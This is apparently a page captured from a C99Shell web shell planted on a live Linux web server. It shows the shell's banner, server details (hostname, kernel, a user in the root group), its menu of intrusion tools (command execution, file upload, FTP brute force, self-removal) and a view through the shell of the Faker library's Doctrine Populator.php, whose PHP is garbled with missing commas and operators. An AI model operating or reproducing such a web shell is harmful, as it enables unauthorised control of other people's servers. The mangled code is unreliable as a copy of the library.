!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Populator.php (3.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\ORM\Doctrine;

use 
Doctrine\Common\Persistence\ObjectManager;
use 
Faker\Generator;

/**
 * Service class for populating a database using the Doctrine ORM or ODM.
 * A Populator can populate several tables using ActiveRecord classes.
 */
class Populator
{
    
/** @var int  */
    
protected $batchSize;

    
/** @var Generator  */
    
protected $generator;

    
/** @var ObjectManager|null  */
    
protected $manager;

    
/** @var array  */
    
protected $entities = array();

    
/** @var array  */
    
protected $quantities = array();

    
/** @var array  */
    
protected $generateId = array();

    
/**
     * Populator constructor.
     * @param Generator $generator
     * @param ObjectManager|null $manager
     * @param int $batchSize
     */
    
public function __construct(Generator $generatorObjectManager $manager null$batchSize 1000)
    {
        
$this->generator $generator;
        
$this->manager $manager;
        
$this->batchSize $batchSize;
    }

    
/**
     * Add an order for the generation of $number records for $entity.
     *
     * @param mixed $entity A Doctrine classname, or a \Faker\ORM\Doctrine\EntityPopulator instance
     * @param int   $number The number of entities to populate
     */
    
public function addEntity($entity$number$customColumnFormatters = array(), $customModifiers = array(), $generateId false)
    {
        if (!
$entity instanceof \Faker\ORM\Doctrine\EntityPopulator) {
            if (
null === $this->manager) {
                throw new 
\InvalidArgumentException("No entity manager passed to Doctrine Populator.");
            }
            
$entity = new \Faker\ORM\Doctrine\EntityPopulator($this->manager->getClassMetadata($entity));
        }
        
$entity->setColumnFormatters($entity->guessColumnFormatters($this->generator));
        if (
$customColumnFormatters) {
            
$entity->mergeColumnFormattersWith($customColumnFormatters);
        }
        
$entity->mergeModifiersWith($customModifiers);
        
$this->generateId[$entity->getClass()] = $generateId;

        
$class $entity->getClass();
        
$this->entities[$class] = $entity;
        
$this->quantities[$class] = $number;
    }

    
/**
     * Populate the database using all the Entity classes previously added.
     *
     * Please note that large amounts of data will result in more memory usage since the the Populator will return
     * all newly created primary keys after executing.
     *
     * @param null|EntityManager $entityManager A Doctrine connection object
     *
     * @return array A list of the inserted PKs
     */
    
public function execute($entityManager null)
    {
        if (
null === $entityManager) {
            
$entityManager $this->manager;
        }
        if (
null === $entityManager) {
            throw new 
\InvalidArgumentException("No entity manager passed to Doctrine Populator.");
        }

        
$insertedEntities = array();
        foreach (
$this->quantities as $class => $number) {
            
$generateId $this->generateId[$class];
            for (
$i=0$i $number$i++) {
                
$insertedEntities[$class][]= $this->entities[$class]->execute(
                    
$entityManager,
                    
$insertedEntities,
                    
$generateId
                
);
                if (
count($insertedEntities) % $this->batchSize === 0) {
                    
$entityManager->flush();
                }
            }
            
$entityManager->flush();
        }

        return 
$insertedEntities;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--